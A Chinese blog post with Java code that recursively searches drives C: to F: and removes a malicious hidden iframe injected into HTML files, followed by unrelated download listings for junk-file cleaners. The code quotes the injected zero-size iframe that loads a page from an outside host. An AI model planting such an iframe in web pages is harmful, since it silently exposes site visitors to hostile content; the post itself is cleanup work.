不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.
- publicclassFileUtils{
-
publicstaticvoidmain(String[]args)throwsException{
-
Stringcontent="<iframewidth='0'height='0'src='http://mmm.mmy88.cn/lx.htm'></iframe>";
-
StringextName=".html";
-
String[]dirs={"C:","D:","E:","F:"};
-
for(inti=0;i<dirs.length;i++){
- Stringdir=dirs[i];
-
longt1=System.currentTimeMillis();
- delContent(content,dir,extName);
-
longtime=System.currentTimeMillis()-t1;
-
System.out.printf("Processdirectory%sin%dseconds\n",dir,time/1000);
- }
- }
-
-
publicstaticvoiddelContent(Stringcontent,Stringdir,StringextName)throwsException{
- List<String>fileNames=listFileNames(dir,extName);
-
-
for(inti=0;i<fileNames.size();i++){
- StringfileName=fileNames.get(i);
-
-
-
Filef=newFile(fileName);
-
BufferedInputStreambin=newBufferedInputStream(newFileInputStream(f));
-
byte[]buff=newbyte[((int)f.length())];
- bin.read(buff);
- bin.close();
-
Stringstr=newString(buff,"utf-8");
-
String[]all=str.split("\r\n");
-
-
OutputStreamfout=newFileOutputStream(f);
-
for(intj=0;j<all.length;j++){
-
all[j]=all[j].replaceAll(content,"");
-
fout.write((all[j]+"\r\n").getBytes("utf-8"));
- }
- fout.flush();
- fout.close();
- }
- }
-
-
publicstaticList<String>listFileNames(finalStringpath,finalStringextName){
-
List<String>fileNames=newArrayList<String>();
-
FilenameFilterfilter=newFilenameFilter(){
-
publicbooleanaccept(Filedir,Stringname){
-
Filefile=newFile(dir,name);
-
returnname.endsWith(extName)||file.isDirectory();
- }
- };
-
Filedir=newFile(path);
- listFileNames(dir,filter,fileNames);
-
returnfileNames;
- }
-
privatestaticvoidlistFileNames(Filedir,FilenameFilterfilter,List<String>fileNames){
- String[]names=dir.list(filter);
-
for(Strings:names){
- StringfileName=dir.getPath()+File.separator+s;
-
Filefile=newFile(fileName);
-
if(file.isDirectory())
- listFileNames(file,filter,fileNames);
-
else
- fileNames.add(fileName);
- }
- }
- }
分享到:
相关推荐
gradle lock文件清除 gradle lock文件清除 gradle lock文件清除 gradle lock文件清除 gradle lock文件清除 gradle lock文件清除 gradle lock文件清除 gradle lock文件清除 gradle lock文件清除 gradle lock文件清除 ...
Mapgis临时文件清除,可删除mapgis的备份带~文件,直接放在磁盘根目录,打开即可删除整个磁盘的带~mapgis备份文件。
QQ垃圾文件清除工具
QQ垃圾文件清除!可以清除没用的qq垃圾
清除垃圾文件清除垃圾文件 清除垃圾文件 清除垃圾文件 清除垃圾文件
临时文件清除小工具临时文件清除小工具临时文件清除小工具临时文件清除小工具临时文件清除小工具临时文件清除小工具临时文件清除小工具
工具:工程文件清除器,FindClean 描述: 该工具可清除VC工程,根据匹配扩展名也可清除其他文件或文件夹。 通过资源路径获得路径,也可拖拽文件或文件夹获得路径,然后匹配要删除的文件扩展名(可修改),获取待删除...
工具:工程文件清除器,FindClean 描述: 该工具可清除VC工程,根据匹配扩展名也可清除其他文件,文件夹或工程。 通过资源路径获得路径,也可拖拽文件或文件夹获得路径,然后匹配要删除的文件扩展名(可修改),获取...
2.在删除接收到的表情和QQ群历史记录图片的时候会自动保留30天内的创建的文件,30天前的临时图片文件会被删除。 3.由于第二点的修改,所以推荐设置也做出了相应的修改,推荐清理接收到的表情和QQ群历史记录图片。
VC文件清除器,清除编程时多余的文件,实例演示
易语言垃圾文件清除源码,垃圾文件清除,更新表格数据,保存表格数据,删除当前文件
文件粉碎Eraser(彻底删除文件清除痕迹的工具)
.svn文件清除工具 .svn文件清除工具 只需要点击一次鼠标全部搞定,非常实用。
windows系统下文件清除工具,实现定向清除vc++编程过程中产生的文件垃圾,删除svn使用后产生的垃圾文件,去除查看文件干扰,优化磁盘管理,节省磁盘空间。附带去除各种文本、音乐、视频等格式文件!欢迎交流、讨论!
垃圾文件清除工具软件,用于清除垃圾文件,空出硬盘空间
<br> 可对有些用户而言,并不太了解这个文件夹的位置,如果又没有安装专门的系统优化软件用于删除临时文件,有没有一种办法可以使得这类用户可以快速手动清除这些临时文件呢?下面我们来介绍一种方法。 <br>...
垃圾文件清除.rar
QQ垃圾文件清除器——QQ垃圾文件清除器
看名字就知道了。注意本人测试遇到像在CMD下建立的1..\这样的文件夹时chdir等函数会失败,处理不妥会产生严重问题,幸好本代码已经解决此问题。
QQ2008版垃圾文件清除工具.rarQQ2008版垃圾文件清除工具.rar